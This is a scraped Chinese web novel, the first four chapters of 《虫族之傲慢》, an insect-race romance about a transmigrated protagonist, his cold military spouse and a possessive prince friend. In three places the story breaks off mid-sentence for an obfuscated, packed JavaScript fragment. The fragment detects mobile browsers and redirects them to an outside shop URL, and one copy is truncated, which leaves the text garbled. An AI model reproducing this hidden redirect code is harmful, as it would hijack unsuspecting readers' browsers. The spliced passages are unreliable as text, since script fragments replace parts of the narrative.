《虫族之傲慢》 1. 第 1 章 “弥斯阁下,这是路西法殿下为你订购的午餐,请签收。” 星际餐厅的金牌星际配送员低着头在官方配备的晶石屏中找到这一单的配送信息,然后将手里的屏幕递给眼前尊贵的S级雄虫冕下。 路西法是赫克斯帝国的皇子殿下,身份十分尊贵。这一单的又是送给S级雄虫的,星级餐厅自然十足十的重视。 食材从采摘到烹饪,每一步都尽可能地小心高效,力图将最完美的餐食在12点准时送达至阁下手中。 派来配送的亚雌也是百味阁精心筛选并培养的金牌配送员,确保雄虫不会被配送员骚扰。 当然,哪怕是金牌配送员面对S级雄虫也会有自己小巧思,比如他身上喷的香水是一种小众的酒香调,闻起来有种微醺的梅子酒的感觉。 可惜,这位名叫弥斯的雄虫并没有注意到这一切,他安安静静地签收了外卖。 配送员离开了。 弥斯这才低头打量眼前的餐食,三荤一素,实在是太奢侈了。 昨日他只是有些低血糖,不用这么浪费,今天必须和路西法说明白这件事。 在赫克斯,厨艺是弥足珍贵的技能,更别说这家店的美食可是帝国数一数二的,价钱自然更加昂贵。 弥斯打开光脑上的通讯,正想给路西法发消息,就看到了通知栏里跳出来最新的消息。 路西法:【午饭送到了吗?】 弥斯:【嗯。】 弥斯:【点的太多了,我自己做就行。】 弥斯的奖金只够他勉强贴补自己的爱好,他平日里生活得极为拮据,自然是舍不得的。但是一味的花着朋友的星币,他也是不太愿意的。 路西法:【然后你再把自己饿进医务室】 路西法:【赶紧吃,不要浪费。】 弥斯不再回消息了,低头乖乖地开始吃饭,路西法平时很听话,但在某些时候,就会暴露他强硬的本质。 路西法是帝国的第十二个皇子,不论是身份还是个虫实力都十分耀眼。 他们是在军事学院遇到的,阴差阳错下成为了朋友,也是弥斯目前唯一的朋友。 作为一只S级的高级雄虫,弥斯原本不会如此拮据,只不过他是从蓝星来的,他自私地想保留一部分作为“人”的尊严。 这导致他没办法理直气壮地吃雌君的软饭。 是的,弥斯不是本土虫,他来自一个理论上“人人平等”的蓝星,意外穿进这个奇怪的世界,由男人变成了雄虫。 这是一个不平等的世界,但来自蓝星的他对这种略带封建色彩的社会制度适应得十分良好。 赫克斯的雄雌比例十分夸张,雄虫:亚雌:雌虫=1:10:30,与雌虫超强的身体素质、强健的外骨骼相比,雄虫就逊色太多了。 就拿弥斯自己来说,不过是连轴加班、饮食稍微有些不规律而已,就会直接晕倒在实验室,要知道,在蓝星上的时候,他一直都是这种工作状态,从来没有出现过问题。 小六:【宿主,下次还是不要用自己健康做赌注了。】 弥斯:【六六,我也不想这样,可是我一无所有,不是吗?】 小六是他的系统,作为穿书的附赠品,可以帮助他快速适应赫克斯并提供一些帮助。 没错,弥斯是穿书,《穿成路人雄虫之后成了万人迷》讲述的是:地球人成为了落魄贵族的雄子维克尔,因为与众不同的温柔成为整个赫克斯帝国最为瞩目的万虫迷。 少将、中将、上将,已婚的、未婚的,厌雄的、厌雌的,无一例外都拜倒在他的西装裤之下。 可惜,弥斯并不是主角,他只是一个会被戴上绿帽子的路人甲,在文中甚至没能拥有姓名,只是一只接受不了雌君出轨,被活活气死的“脆弱雄主”。 是的,就连死因都是如此的草率。 通讯的另一边,路西法揉了揉疲惫的眉心,“还有多久到帝星?” 这次出征的时间不过数月,弥斯就在实验室饿晕了,真是不知道他那个雌君是怎么照顾的。 亚蒂斯是路西法的近卫队队长,只见他在飞行器的操作屏上操作了一番,“殿下,预计周六凌晨三点可以抵达帝星。” 这么慢,路西法的眉头皱的更紧了,没有看到雄虫之前,他完全放心不下。 今天虽然是周三,但是因为昨天晕倒的事情,他被研究院放了两天假,墨涅斯研究员勒令他在宿舍好好休息。 弥斯无法让自己闲下来,所幸他的桌子上放着一些打磨工具,正好给自己新做的兔子胸针做一些抛光处理。 因着他是雄虫,学院给他安排的是一个单虫间,方便了他做自己喜欢的事情的时候,不会打扰到别虫。 弥斯很喜欢这种静谧的时光,这能让他忘记许多事情。 午后的阳光将宿舍一分为二,雄虫恰巧坐在光里。 黑色的发丝呈现出墨色的光泽,窗外的风吹动了几缕不听话的发丝,几乎要触碰到他低垂的眼睛。 雄虫的眼睛是十分罕见的黑色,像两谭幽深的古井,倒映着手中那枚小小的、闪着银光的兔子胸针。 弥斯生得十分可爱,白皙的皮肤、恰到好处的五官排列,简直是虫神的炫技之作。 但眼下他看起来极度专注,淡漠十足的神情平增了一丝不容亵渎的俊美。 金属棒与雄虫手中的胸针摩擦,发出几乎不可闻的沙沙声,偶尔带起一星半点比尘埃更细的银粉。 偶尔,他会停下来,对着光检视胸针的流畅性,或者用柔软的指腹轻轻摩挲,判断是否已经变得足够光滑细腻。 天色逐渐变得昏暗,弥斯也停下了手中的工作。 好脏啊,弥斯静悄悄地站起身,明明房间里只有他一只雄虫,但偏偏他的每一步都走得小心翼翼,好似生怕惊动了什么。 弥斯打开角落里的抽屉,拿出酒精喷剂和消毒水,准备打扫一下被他弄得乱糟糟的房间。 “路西法来电……” 手腕上的光脑传来的铃声让弥斯不得不暂时放下手中的工作,他不想让唯一的好朋友担心。 “喂?”竟然是视频通讯,弥斯不由得有些紧张,他抓紧了手中的消毒水和酒精,生怕被雌虫发觉。 他的朋友比他更在意他的身体。 路西法带着他那一头标志性的红发,凑近了光屏,细细打量雄虫露出来的每一处细节。 弥斯也在观察他,对于雄虫这种老古板来说,穿制服就应该把扣子扣得严严实实,衬衫上的每一寸都应该像是刚被熨烫平整一般。 而不是像路西法这样,松松垮垮的纽扣被解开了最上面的三颗,甚至连壮硕胸肌挤出来的深|沟都漏了出来。 见弥斯小古板的嘴巴抿了起来,路西法这才屈尊抬起手慢慢地扣上被他刻意解开的纽扣。 雌虫的手和他本虫的肌肤一样,都是烈日与风沙染就的古铜色,青筋自腕骨蜿蜒突起,透出一种饱经磨砺的粗糙感。 “弥斯,你打算做什么?” 路西法的眉头轻佻,明明在笑,但却让雄虫感受到了寒意。 弥斯张开嘴巴,想编出一个合适的谎言,但他向来不擅长这种事,整只虫像是卡住了一样。 路西法的眼神突然定住了,就像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627985|187969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是鹰隼发现了猎物一般,所有的视线突然聚焦到雄虫张开嘴巴露出的小巧红舌,真是一只擅长诱惑虫心的雄虫。 弥斯自然也注意到了雌虫的不舒服,毕竟他突然野蛮地拉扯领带,让虫想不注意都难。 “怎么了,路西法,你不舒服吗?” “没事,可能跃迁的次数太多了。” 在忽悠雄虫这件事上,路西法可以说是脸不红心不跳。 “哦,我听你声音有些沙哑,感冒了吗?” 雄虫的问话里带着一丝微不可察的担忧,这当然也是被路西法听出来了,“没有,可能是缺水。” “嗯。” 弥斯像是已经完全信了,或者说,他并不在意自己的好朋友会在这种小事上欺骗他。 “弥斯,不要转移话题,你知道我想问什么” 路西法的金色眼眸里掠过一缕懊恼,如果不是出征数月,他就能带着雄虫去吃饭,而不是只能像现在这样,远远地看着,什么都做不了。 弥斯的身形一顿,手里的消毒水被捏得更紧了。 “我……”雄虫低下头,显然是有些心虚。 “放下你手中的消毒水去食堂吃饭,知道了吗?” 弥斯有些惊讶地抬起头,“你……” “想问我怎么知道的,你总是这么不听话。” 弥斯不说话了,乖巧地放下手中的消毒水,甚至还乖乖地抬起手给雌虫检查,然后就打算挂断通讯。 “弥斯,要是让我知道你没有去食堂吃饭,而是在宿舍里凑合喝了点营养液,我会很伤心的。” 路西法太了解雄虫了,他残忍地戳穿了雄虫的小心思,然后威胁他。 弥斯这下真的蔫了,他沉重地点点头,“我知道了。” “不要抱着侥幸心理,毕竟至今为止,你还没有成功瞒过任何一件事。” “弥斯阁下。” 路西法能不知道雄虫在想什么,平日里他都十分尊重雄虫的个虫意愿,但是雄虫真的不爱护自己。 “好吧。” 弥斯挂断通讯之后,乖乖地出门准备去食堂吃饭。 路西法殿下好像总能知道他在想些什么,【真聪明啊,路西法】。 小六:【宿主,你明明知道……】 弥斯:【小六!】 路西法确实在他的宿舍里装了一些微型监控器,但那又如何。从某种意义上,路西法的行为给了他一些安全感。 虫神给了雄虫独一无二的信息素和掌控精神力的同时,也剥夺了雄虫的许多东西。 赫克斯的雄虫都十分脆弱,他们就像是温室里的蝴蝶兰,对周围的环境十分敏感,而每次出门,那些雌虫、亚雌打量的视线都让弥斯十分不适。 弥斯不喜欢被关注,可偏偏他又需要被关注。 路西法也不想总是在雄虫面前如此严厉,但雄虫好似对自己的脆弱一无所知,总是不自觉地伤害自己的身体,这导致他不得不强硬一点。 他有多在意雄虫,就有多恨那只不知珍惜的雌虫。 路西法不止一次地想把那只虫抽筋剥骨,当阴狠的毒蛇在心中盘旋,他无数次的冲动都被雄虫的在意扼制了。 路西法痛恨那只雌虫,亦嫉妒他,嫉妒他能那么凑巧地救了弥斯,让雄虫对他那般特别。 早晚有一天,雌虫会消耗掉雄虫的所有特别,到时候就是那只雌虫的死期,这是路西法无限期盼的一天。 也是这头野兽艰难自控的所有希望。 小六:【宿主,剧情快开始了。】 弥斯:【是吗?好戏总算开场了。】 2. 第 2 章 在学校的时间总是过得很快,转眼就到了周六,像往常一样,弥斯在10点的时候开始准备午饭,尽可能在中午12点把爱心午饭送到军部。 如果没有审批,哪怕是军雌家属也是无法开着飞行器进入军区的,弥斯只能步行入内。 因为雄虫没有翅膀,所以他光是走到索伦少将的办公室,都要花费一个小时。 这也是小六如此讨厌宿主雌君的原因,明明只需要简单的提一下流程,却偏偏因为他的不上心,导致宿主每次都要受苦受累的。 弥斯拎着保温饭盒,不快不慢地走着,11点45分左右,在楼下再次看到卡尼上尉,他微微低下头,他向来倒霉,这次也不例外。 上尉冷硬的声音从身侧传来,“弥斯阁下,中午好。” 上尉如同深渊般恐怖的黑色竖瞳紧紧地盯着他,弥斯忍住战栗,尽可能礼貌地回应。 “你好。” 卡尼对这只怯懦的雄虫已经不陌生了,值得一提的是,这只雄虫的手艺竟然还可以,每次来给少将送饭的时候,总是不忘讨好他。 “另外一份是我的吗?”他指了指份量稍微小一点的那份饭菜。 弥斯楞了三秒,他想说这是给他自己准备的,但是最终还是像以前一样,将左手边的那份饭菜递给他。 幸好他这份用的是一次性的饭盒,不然又要浪费自己的星币了。 因为耽搁了点时间,所以雄虫加快了步伐,12点的时候,他依旧准时敲响了索伦少将的门。 “进!” 淡漠又军雌味十足的声音,雄虫的手在空中微微顿了一下,转瞬即逝的情绪从迟钝的眼眸中闪过。 弥斯有些悲观地想,少将的心情听起来并不好,真是倒霉的一天。 等雄虫把准备好的饭菜一盒盒的摆出来,少将微微皱起了眉头。 “又是排骨汤?” 索伦没有别的意思,只不过雄虫这种生物向来麻烦,如果每周都吃一样的饭食,可能会出问题。 弥斯停顿了一下,“你不喜欢了吗?”他好像天生学不会讨好,总是把简单的事情搞砸。 “已经连吃三周了。” 索伦真的没有别的意思,他倒是说不上喜欢或者不喜欢,毕竟对于军雌来说,这些饭食甚至比不上营养液来得方便。 只不过雄主好像很喜欢给他送饭,所以他也尽可能地腾出午休的时间陪伴弥斯。 “嗯,下次不做了。” 弥斯微微垂下眼眸,浓密的眼睫毛微微颤抖了一下,小六知道宿主还是有些难过的。 只不过,雄虫无论是表情还是语气一直都是那个样子,平淡极了,所以只要他不说,索伦少将基本上是注意不到雄虫这点微小的情绪变化。 两只虫其实很少沟通,弥斯不是会主动找话题的雄虫虫,索伦少将和大多数军雌一样,也不擅长讨好雄虫。 所以大多数时候,两只虫只是安静的待着,各自做各自的事情。 但是今天有些例外,弥斯已经在心中组织很久的措辞,他一直在等索伦吃完饭。 弥斯今天很开心,“少将,我今天下午要去参加一个飞行器展览。” 他在等待少将的回应,私心里,他想邀请少将一起去,这个展览会对他而言很重要。 弥斯的嘴角微微扬起,如果某只红发雌虫在,肯定能看出雄虫隐隐地兴奋,并等待他把后面的话说出来。 是的,弥斯还有一个缺点,他好像天生的怕说错话,一句话说完,总是会观察一下虫的反应,然后再说下一句。 这就导致,“嗯,你去吧,不要闯祸。” 索伦少将已经回应了,而他还没有把邀请的话说出来。 弥斯的嘴角又恢复了平时的弧度,他有些失落。 “好。” 他知道索伦上将说得麻烦是那次飞行器事故,是他自己不小心,因此弥斯没有辩驳。 但弥斯还是想再问一下少将能不能陪他一起去,等他把桌子收拾干净,悄咪咪地抬头看了一眼少将。 好吧,索伦已经开始工作了。他垂下眸子,静悄悄地离开了。 小六:【宿主,你为何一定要这么委屈自己】 弥斯:【六六,你觉得剧情可以改变吗】 小六:【当然可以,宿主,这个世界是真实的】 弥斯:【是吗】 小六:【宿主,小六会陪着你的】 弥斯没有再回应,小六毕竟只是一个系统,无法理解他从“人”变成“虫”的不安。 1点半左右的时候,雄虫走到了军部门口,中间没有遇上别的虫,弥斯松了一口气。 “瞧瞧,我抓到谁了,怎么不开心呢?亲爱的弥斯阁下。” 弥斯抬眼望去,一只高大张扬的红发雌虫靠在他的飞行器旁边。 “路西法,你怎么在这里?” 路西法是帝国的十二皇子,除却尊贵的身份,他自身也十分优秀,和索伦少将差不多的年纪,就已经是中将了。 只不过高贵的出身偶尔会掩盖雌虫本身的优秀。 弥斯看起来对于他的出现颇为意外,毕竟这个时候他应该还在前线的战场才对。 路西法看了一眼雄虫手中的餐盒,“又没吃上饭?” 雌虫本来略显轻狂的笑脸瞬间就变得很难看,连带着语气也变得有些阴沉,但是弥斯却好像一点儿也不害怕。 “卡尼拿走了我的饭。” 或许只有在路西法面前,弥斯才会微微透露出一丝脾气来,毕竟这只虫是他亲自挑选的剧情之外的虫。 在最开始的时候,弥斯也和索伦少将说过这件事,只不过顾及到卡尼是少将最亲近的下属,他说得十分委婉。 “做饭很麻烦吗?”索伦少将的问话十分平静,没有任何情绪上的起伏。 只不过,少将没有注意到,弥斯的身形还是有些颤抖,那个时候的他刚刚来到赫克斯,任何一只虫在他眼里都显得十分狰狞。 “不麻烦。” 弥斯没有勇气表达自己的真实情绪。 “嗯,如果你觉得麻烦,可以拒绝。” 索伦自认为十分维护雄虫的意愿,毕竟帝国的雄虫哪一只不是高高在上。 雄虫从来不会委屈自己,他并没有把这件事情放在心上,他尊重雄虫的每一个决定。 后来,弥斯习惯了之后,也不太在意这件事了。什么时候又开始在意的呢?弥斯想不起来了。 弥斯语气十分平静,像是在讲述十分平常的事情,但路西法就是听出了雄虫心里的那一点点委屈。 不在帝星的这几个月,路西法对于雄虫行踪的掌控自然是必不上从前,雄虫果然受了委屈。 只不过,这也是这几个月,弥斯第一次再次带了两份饭,这种小事,自然就没必要和路西法说了。 “走吧,先带你去吃饭。” 弥斯有些惊喜,但是他的脸上依旧平静,没有任何变化,他拒绝了。 “不必麻烦了,路西法,我在路上随便买点吃的就好了。” 他没有那么多的时间,现在已经快2点了,他还要去参加展览会。 这场展览会没有什么特殊的,但是帝国第一架可供雄虫穿戴的外骨骼战甲也会展出,他不想错过。 “那家餐厅就在路上,我早就预约了,到了就能吃,不耽误你时间。” 路西法已经有些暴躁了,当然不是针对雄虫,而是那只身在福中不知福,完全不懂得珍惜的臭虫。 整个帝国估计也就那么一只不知好歹的雌虫,偏偏弥斯就是在意他,真是可恨。 “谢谢你,路西法,你真是我最好的朋友。”弥斯充满感激地说。 路西法等雄虫登上飞行器才别开眼,这只雄虫好像永远不知道自己有多诱虫。 日光下,雄虫开心时的黑色眼睛亮得有些刺眼,直直照进他有些阴暗的内心。 雄虫早晚会属于他,路西法在心里阴暗地觊觎着,然后坐上了他自己的飞行器。 两艘飞行器飞快地驶离军部,弥斯这才低落地垂下头,然后将胸口的小兔子胸针取下攥在手里,尖锐的兔子耳朵狠狠地扎了他一下。 光线透过飞行器的舷窗照到雄虫黑色的眼睛上,俨然就像是一块精致的黑色琉璃。 弥斯的眼睛里瞬间充盈了泪水,好疼啊,他最是怕疼的。 弥斯想讨厌兔子了,他缓缓张开手掌,戳了戳兔子的眼睛。 算了,原谅你了,可爱的兔子,他把胸针收进了口袋。 飞行器很快就停下了,因为惯性,弥斯的身体猛地前倾,磕到了脑袋,这下眼泪彻底掉下来了。 路西法一直跟在雄虫飞行器后面,快到目的地的时候才超越雄虫,他率先从飞行器下来,在门口等了一两分钟,雄虫还没有下来。 路西法有些担心,他走到雄虫的飞行器旁边摁响了这艘飞行器的警铃。 舱门这才缓缓打开,然后飞行器猛地顿了一下。 “屮!”路西法一时间甚至忘记维护自己在雄虫面前的形象。 “这个飞行器必须马上换掉。” 虫族并不擅长艺术,那对于生存和繁衍来说并无益处,所以飞行器的款式除非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他说完还踢了一脚灰黢黢的飞行器,指着它新冒出来的大坑,“你这个质量太差了。” “可是……”雄虫有些犹豫地看了一眼自己的,又看了一眼朋友的,“你那艘不太适合我。” 路西法的飞行器和他本虫一样张扬,火红的配色、流畅的线条,任谁都能看出,这艘飞行器不但性能可观,价格也相当美丽。 “弥斯,你应该不想在这里浪费时间。” 路西法更烦了,今天为什么非要开这个,库里面有那么多雄虫可能会喜欢的,偏偏选了一辆红色的。 “我是不会让你开着这个破烂去的。” “好凶啊,路西法。” 弥斯转身朝着朋友的飞行器走去,反正也不是第一次换飞行器了,就是一个出行工具而已,他不是很在意。 红发雌虫在雄虫离开之后,有些茫然地揉了揉脸颊,他很凶吗? 路西法把飞行器开回家了,等周一的时候开一辆新的给弥斯,随便找个借口,雄虫不会追究的。 算了,雄虫肯定会可怜兮兮地盯着他,刨根问底,还是细细想想怎么让雄虫看不出来吧。 等弥斯到达展览会的时候,已经下午2点半了,吃饭还是花费了一些时间。 弥斯其实不太在意口腹之欲,能吃饱就行了,他的厨艺也是这三年为了周六的时候给少将送饭练成的。 没穿进来之前,虽然父母常年不在家,但他家的条件还算殷实,保姆会照顾他的日常生活,所以他其实有点五谷不分。 但是他学习能力很强,做饭这么简单的事情,很快就上手了,而且做饭的时候还可以放空一会儿,挺好的。 这次的参展资格是路西法帮他申请的,而且因为是VIP票,所以可以避开虫群走特殊通道,很方便,他不喜欢虫多的地方。 等他进入之后,发现所有的虫都聚集在广场,没有进入展厅,好奇怪啊。 这次的帝国飞行器博展会的开会时间是:3018年9月15日,下午2:00-5:00,所以其实能参观的时间很短,不懂这些虫为什么要浪费这个时间在外面闲聊。 弥斯没有管那些奇怪的虫,他此行的目的十分明确。 “站住!” 一声骄纵的呵斥从身后传来,弥斯真的很想装作不是在喊他,但是展厅里只有他一只虫。 他慢悠悠地转过身,在心中组织好语言,希望能快速化解这场无妄之灾。 小六:【宿主,你竟然碰到反派了】 3. 第 3 章 桑因怒气冲冲地走过来,只不过是推迟了半个小时而已,竟然有虫敢走在他的前面,实在是放肆。 本来他已经很生气了,但是看着这只虫慢慢悠悠的动作,火气就更大了,太猖狂了,竟然完全不把他放在眼里。 他倒是要好好看看,到底是那只不长眼的虫这么胆大包天。 日光下,雄虫踏光而来,弥斯看得有些呆了,他从未见过这么好看的虫。 金色的长发像丝绸一般流淌在午后的暖光里,有那么调皮的几根发丝缠绕在雪白的脖颈,闪烁的碎光揉碎在金色的眼眸里,十分纯粹的美丽。 精致高挺的鼻梁,配上微微撅起的玫瑰色的唇瓣,就像是天使突然有了情绪,打碎了精致本身带来的不真实感。 繁杂贵重的服饰穿在他身上,竟然成了最不值一提的东西,毫无疑问,这是一只尊贵骄纵的雄虫。 弥斯在打量雄虫的时候,雄虫也在打量他。 黑色的小卷毛,配上看不出情绪的表情,太可爱了,像是被展览出来的瓷娃娃。 尤其是那一双黑色眼睛,就像是未经雕琢的水晶,纯粹没有杂质,好干净的雄虫啊,虫族竟然会有这样的虫,世界之大无奇不有。 “对不起。” 弥斯不喜欢和别虫发生冲突,这会给索伦少将带来麻烦。 声音也软软糯糯的,非常好听,桑因狠狠地瞪了他两眼,按照他往常的脾气,冒犯到他的雄虫就应该用精神力给他点教训。 但是,哼,不和他一般计较。 “你出来,等我进去之后,你再进来。” 这只雄虫真的好像一只被养得娇贵的傲娇猫猫,弥斯往外走了几步,等他迈出了门,才抬头看了一眼雄虫。 桑因微微点了点下巴,“好了,你可以进来了,哼。” 真可爱,这样可爱的雄虫,哪怕蛮横一点,应该也没有虫愿意计较吧。 小六:【宿主,他实在是太蛮横了,要不要给他一个教训】 弥斯:【不用,我很喜欢他】 这就是被娇惯出来的反派吗?果真是耀眼至极。 “桑因,你不要太过分了,不过是一次飞行器展览会,你至于和这只平民雄虫斤斤计较吗?” 十分无礼的声音再次从弥斯身后穿来,他的身形微不可见地颤抖了一下。 弥斯讨厌虚伪的虫,可能是因为同类相斥吧。 桑因一直在注视着那只可爱的雄虫,S级的精神力让他很轻易地捕捉到雄虫的害怕。 真是一只奇怪的雄虫,没有被凶狠的他吓到,反倒是被“善良且即将为无辜雄虫伸张正义的”维克尔吓到。 弥斯还没有做出行动,就已经被雄虫拽到身后。 他有些惊讶,毕竟这只雄虫在进门的时候,一闪而过的几道虫影甚至把被他踩过的地板擦得反光,应该是一只有洁癖的雄虫。 “维克尔,你来这里干什么?” 雄虫高傲地抬起下巴,满脸不屑地看着他,“据我所知,你这种等级的雄虫应该是没有参展资格的。” 桑因真的是烦不胜烦,这只B级雄虫像牛皮糖一样黏着他,不管走到哪,都能神奇地出现在他面前。 前段日子,不是已经把他送进军事监狱了吗?怎么又跑出来了,真是讨厌。 “桑因,我和你并没有什么区别,没有雌虫的爱护我们什么都不是,为何一定要强权压虫呢?” “阁下,请不要怕,我一定会保护你的。” 维克尔坚定地站在光下,配上他莫名其妙的圣父发言,整只虫像智障一般。 弥斯狠狠攥住衣角,从雄虫的身后侧出半个身,“你好,桑因阁下没有欺负我。” 你能不能不要继续说话了,真的很浪费时间,展会很快就结束了,他还没来得及观察那架外骨骼战甲。 “是不是桑因威胁你了,没事的,雄保会肯定能保护你不被欺负。” 维克尔甚至没有看那只“被欺负的”雄虫一眼,他表现得嫉恶如仇,眼神凌厉地盯着桑因。 弥斯有些懊悔,为什么要把兔子胸针装进口袋,现在连个握的东西都没有,这导致他没有足够的勇气站出来为桑因阁下说话。 但是桑因阁下刚刚把他护在了身后,现在却因为他被眼前的雄虫误会了, “我……” 桑因的耐心告罄,手掌轻轻落在腰间,银光闪闪的腰带被快速抽了出来,竟然是一条鞭子。 他手腕一抖,鞭子如毒蛇般甩向维克尔,鞭身上的倒刺割开皮肉,带出一串串血珠。 “拉斐尔中将,现在可以把雄虫送去医院了。” 一直站在维克尔身后的雌虫接住了受伤脱力的雄虫,他目光凛然地看了一眼蛮横任性的桑因,最终还是闷不吭声地把雄虫抱走了。 弥斯目瞪口呆的看着这一幕,明明这位阁下看起来那么善良那么可爱,耍鞭子的时候,真的好帅啊。 雄虫用鞭子当街鞭笞雌虫的场面并不少见,但是鞭笞雄虫真的从未见过,毕竟帝国的律法十分偏向雄虫。 “桑因阁下,这会不会给你带来麻烦?” 桑因转过身看了一眼他,这还是第一只见到他如此暴力的一面之后,不但不害怕,反而还担心他惹上麻烦的雄虫。 “不会。” 弥斯有些崇拜地盯着雄虫,他十分钦佩桑因阁下可以如此直接地表达自己的情感,这是他做不到的。 “你还愣在这干嘛,不是要看展会吗?” 桑因没想到这只雄虫这么呆,看在他长得十分可爱的份上,以后可以多关照他一点。 “你叫什么名字。” “弥斯。” “嗯。” 两只虫交换了光脑号之后,桑因转身就走了,真是的,逛展的兴致都没了。 弥斯愣了一会儿,没想到自己这么快就又交了一个朋友,当然是他单方面认为的。 外面的虫看到桑因离去,也陆陆续续地往里面走,原来都是在等桑因阁下吗? 弥斯后知后觉地意识到他刚刚好像闯祸了,但是被雄虫轻易地原谅了,并且得到了保护,他今天好幸运啊。 弥斯将口袋里的兔子胸针重新别在胸前,走到“圣嗣1.0”的展区。 “圣嗣”是帝国研究院针对雄虫的尾翼设计的一款,利用晶核驱动的自适应尾鳞外骨骼装甲,其核心攻击方式和鞭子差不多。 当然现在这款战甲还存在重大缺陷,它的鳞甲打开方式还没有实现神经控制,目前想要控制只能动用雄虫非常重要且脆弱的尾针,大大降低了它的可使用性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627987|187969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 弥斯自然也是这款战甲的设计师之一,但是却因为参与进去的比较晚,没能接触到比较核心的部分,这次来也是想多学习、多记录。 “本场馆即将闭馆,请仍在馆内的观众抓紧时间参观,并尽快从指定出口离场!” 听到广播的声音,弥斯茫然地抬起头,时间怎么过得这么快,他抬手看了一眼时间 5:45分,闭馆时间延迟了差不多一个小时。 是因为桑因阁下吗?所以展览会的实际开馆和闭馆时间是根据桑因阁下的行程安排的吗? 弥斯的猜想并不是凭空产生的,“圣嗣”的实操视频他看了很多遍,视频的最后会鸣谢赞助研发的虫,桑因阁下的名字在第一个。 桑因·莱本西亚,反派竟然是帝国的皇子吗?在这个阶级森严的赫克斯,只是B级的平民雄虫到底是怎么成功的呢,真是不可思议。 弥斯表示十分不理解,因为按照他的审美来说,维克尔的长相只能说是普通,虫族小说里的万虫迷有这种类型的吗?真是少见。 滴—— 榨汁机完成了它的工作,弥斯将新鲜青苹果汁倒出来,星网上说,这种配比下的果汁可以缓解头痛,不知道索伦少将会不会喜欢。 弥斯摆好盘之后,少将也回来了。 索伦忙碌了一天,回家就能吃到新鲜的饭菜,还是非常开心的,但是雄虫每天将时间浪费在做饭上,确实没有必要。 “弥斯,你其实可以不用做这些,机器虫会准备的。” 弥斯又想把胸针摘下来了。 他闷闷地说:“好的,下次不做了。” 索伦没想到雄虫会这样回他,他的本意不是如此,但是好像结果也没受到影响。 见雄虫还拘谨地站着,他指了指旁边的椅子示意雄虫坐下来。 “坐。” 弥斯坐了下来,吃饭的中途他偷瞥了少将好几眼,最后有些失望地低下了头。 索伦是A级雌虫,强悍的精神力自然能精准的捕捉到雄虫的这些小动作,但是雄虫没什么别的表情,实在是看不出在想什么。 而且他平日里的工作已经很忙了,没有时间和精力来关注雄虫的这些小事。 “对了。” 弥斯有些惊喜,猛地抬起头,难道少将发现了他今天准备的果汁和平日里不一样,他一定要借此机会好好和少将沟通一下。 少将已经很优秀了,没有必要那么拼,也要多多照顾一下自己的身体。 “家里停了一辆红色的飞行器,是你的吗?” 索伦没有别的意思,只是觉得有些意外,毕竟雄虫十分无趣,选购的东西基本上都是黑白灰,毫无新意、毫无亮点,突然换了一艘这么高调的飞行器,还是挺新奇的。 “不是我的,”是我一个朋友的,我今天有事和他换了一下。 弥斯慌慌张张地解释,生怕少将误会他乱花钱。 “嗯。” 索伦看着雄虫平静的表情,实在是猜不出他在想什么。 “去洗澡吧。” 雄虫的生活十分规律,一般11点前就要睡了,今天是周六,是灌溉日,现在已经8点半了,剩下的时间不多了。 弥斯和雌虫一起上楼了,客厅里的残局机器虫会收拾干净的。 4. 第 4 章 11点,弥斯乖巧地平躺在床上,闭上眼睛,像往常一样复盘一天的工作。 展览会是可以带家属虫的,他没能开口邀请少将; 飞行器急停,他的额头磕红了,现在都还没消下去,但是他的头发很长,没有被少将发现; 少将没有发现他新调的果汁,刚刚没能把话说完…… 有点倒霉的一天,明天可以运气好一点吗? 小六:【宿主,你为何非要讨好一只雌虫】 小六是“低分”统,它的运行逻辑太简单,以至于无法像别的统一样,执行比较复杂的任务,只能做到保护宿主。 弥斯:【我也想拥有一个属于自己的家】 哪怕不是那么的完美,但只要不触及他的底线,弥斯都可以忍受。 周日,无事发生。 周一,要去上学,开心。 6点起床洗漱,6点15收拾完毕开始晨跑,7点简单地冲一下凉,然后看晨报,做早饭。8点吃完饭,准备出门上学。 早上8点30分, 帝国第一军事学院,陆陆续续地聚集了很多虫,无一例外,都是因着一个原因,弥斯冕下将会在这时准时出现。 “弥斯,这里。” 弥斯一直低着头,听到熟悉的声音,才抬起头,不知道为什么,只是上学而已,他每次都觉得身后有无数双眼睛看着他。 可能是来到陌生的虫族世界之后,他的社恐加剧了。 “好巧啊,路西法。” 弥斯十分开心,今天也能在上学的路上“偶遇”朋友。 路西法和他一样,都不太受大家喜欢,每次身边都没有什么别的虫,其他虫甚至见到了也会惊恐地避开。 路西法看了一眼雄虫天真的眼睛,啧,真是的,整个赫克斯帝国应该只有弥斯会认为这是巧合。 真笨,怪不得会被那只臭虫骗了,想到这,路西法心里更加烦躁了,当然,面上他肯定不会表现出来。 “路西法,你的飞行器我停在A区111了,今天那里也是空着的,我的运气真好。” 